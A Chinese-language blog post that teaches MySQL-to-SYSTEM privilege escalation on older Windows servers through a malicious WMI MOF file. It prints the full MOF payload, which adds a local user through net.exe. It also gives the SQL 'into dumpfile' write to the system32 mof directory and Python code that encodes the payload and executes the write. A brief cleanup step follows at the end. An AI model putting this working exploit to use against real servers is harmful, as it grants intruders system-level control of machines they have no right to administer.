無意中看到有關mysql的這種提權方式,趁著有空余時間便研究了起來,發現網上有挺多地方寫的不夠詳細的,研究的時候也卡殼了一段時間。
利用前提:
操作系統為windows
操作系統版本不宜太高,2008測試不通過,2003可(因為需要訪問到system32中目錄)或說mysql啟動身份具有權限去訪問和寫入c:/windows/system32/mof目錄
數據庫為mysql且知道mysql登錄賬號密碼和允許外連(或存在sql注入或webshell中操作,未實踐)
先簡單介紹一下原理(摘自網上和個人實踐后得出)
放置在c:/windows/system32/mof目錄下的nullevt.mof文件每個五秒鐘會被自動執行并且消失,如果后續沒有創建新的該文件,那么每五秒會循環執行之前的nullevt.mof中內容,那么只需要將惡意代碼寫入該文件中即可。
網上已公開nullevt.mof中的利用代碼
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user xxx xxx /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};常規利用過程步驟如下:
上傳該文件到服務器上任意位置,名字任意
通過mysql語句 select load_file(上傳的文件路徑) into dumpfile 'c:/windows/system32/mof/nullevt.mof'
即可,如果成功上傳,經過一段時間后,里面嵌入的代碼會被執行
個人覺得要上傳文件顯得過于麻煩,能不能直接select 'xxxxx' into,經過嘗試,要將該內容進行轉碼后再查詢即可,提供部分py代碼作為演示
使用mysql中char函數解決
payload = r'''
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
'''
ascii_payload = ''
for each_chr in payload:
ascii_payload += str(ord(each_chr)) + ','
ascii_payload = ascii_payload[:-1]
cur = conn.cursor()
sql = "select char(%s) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload
cur.execute(sql)由于mof是由system執行,所以權限滿足創建用戶、添加管理員等操作,即可完成提權過程。
如果服務器發現被使用mof提權,該如何解決循環創建用戶?
打開cmd使用以下命令
net stop winmgmt
刪除文件夾下內容 c:/windows/system32/wbem/repository
net start winmgmt
即可
錯誤之處,敬請指正
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。